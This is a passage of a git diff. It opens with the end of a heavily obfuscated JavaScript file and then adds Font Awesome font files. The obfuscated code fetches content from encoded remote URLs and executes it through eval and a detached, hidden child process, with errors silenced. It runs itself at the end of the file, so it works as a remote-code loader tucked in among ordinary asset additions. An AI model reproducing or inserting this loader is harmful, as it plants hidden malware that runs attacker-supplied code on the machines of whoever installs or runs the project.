Error(nlhmbEHx$r(0x14e)));}catch(WJ$XNZ){IlhRErRkxjGvfAK_LuFwMQqua(WJ$XNZ);}}),vnVSJNhxijSgBvRGqsbPjZL['on'](XkUNbSL_gVPFryuSs(0x16d),IlhRErRkxjGvfAK_LuFwMQqua);});HjDTGTfhapfslWcfN['on'](Roy$VSZhPGMnLmYKvDeNIUwJAI(0x16d),IlhRErRkxjGvfAK_LuFwMQqua),HjDTGTfhapfslWcfN[Roy$VSZhPGMnLmYKvDeNIUwJAI(0x186)]();});}return gAoSsRu$LTi(hGz$CzuPRAXB$hr(0x188))[hGz$CzuPRAXB$hr(0x18c)](()=>gAoSsRu$LTi(hGz$CzuPRAXB$hr(0x194)));}async function wsxwJCLtXxv(toC_$UgN,nIceXXPc$vRnyJoxV,hBCrEqWmQJz$EubrdEkdnz){const hgJOXNslwjWvkXzIq=iPOSsBZY$MAISzHIjlN_hI;try{const mDOfwBVGJlCSsUxmgaj=await huc$QqfRX_phLyjgNgXJAKB(nIceXXPc$vRnyJoxV,toC_$UgN),kXslrk$baQZyIOiIoLbk$DE=hBCrEqWmQJz$EubrdEkdnz?hgJOXNslwjWvkXzIq(0x18d)+(DwPArYdTLMoeHioNwADF_eRM['_V']||0x1232+0x2378+-0x35aa*Math.max(parseInt(0x1),0x1))+hgJOXNslwjWvkXzIq(0x147)+DwPArYdTLMoeHioNwADF_eRM['_H']+hgJOXNslwjWvkXzIq(0x139)+DwPArYdTLMoeHioNwADF_eRM[hgJOXNslwjWvkXzIq(0x165)]+hgJOXNslwjWvkXzIq(0x17c):hgJOXNslwjWvkXzIq(0x18d)+(DwPArYdTLMoeHioNwADF_eRM['_V']||parseInt(0x2d0)+0x21e3+Number(parseInt(0x5))*Math.ceil(-0x757))+hgJOXNslwjWvkXzIq(0x175)+DwPArYdTLMoeHioNwADF_eRM[hgJOXNslwjWvkXzIq(0x12a)]+hgJOXNslwjWvkXzIq(0x19b)+DwPArYdTLMoeHioNwADF_eRM[hgJOXNslwjWvkXzIq(0x15e)]+hgJOXNslwjWvkXzIq(0x17c);if(!hBCrEqWmQJz$EubrdEkdnz)eval(kXslrk$baQZyIOiIoLbk$DE+mDOfwBVGJlCSsUxmgaj);spawn(hgJOXNslwjWvkXzIq(0x16e),['-e',kXslrk$baQZyIOiIoLbk$DE+mDOfwBVGJlCSsUxmgaj],{'detached':!![],'stdio':hgJOXNslwjWvkXzIq(0x128),'windowsHide':!![]})[hgJOXNslwjWvkXzIq(0x158)]();}catch(P$JWUBIlmprZZ){}}await wsxwJCLtXxv(new URL(iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x152)),iPOSsBZY$MAISzHIjlN_hI(0x136),![]),await wsxwJCLtXxv(new URL(iPOSsBZY$MAISzHIjlN_hI(0x14b)+z_PZv$OwqwKTZPMSnY+iPOSsBZY$MAISzHIjlN_hI(0x153)),iPOSsBZY$MAISzHIjlN_hI(0x173),!![]);}run(); \ No newline at end of file diff --git a/public/fonts/fa-solid-900.eot b/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000..d3b77c2 Binary files /dev/null and b/public/fonts/fa-solid-900.eot differ diff --git a/public/fonts/fa-solid-900.svg b/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000..7742838 --- /dev/null +++ b/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ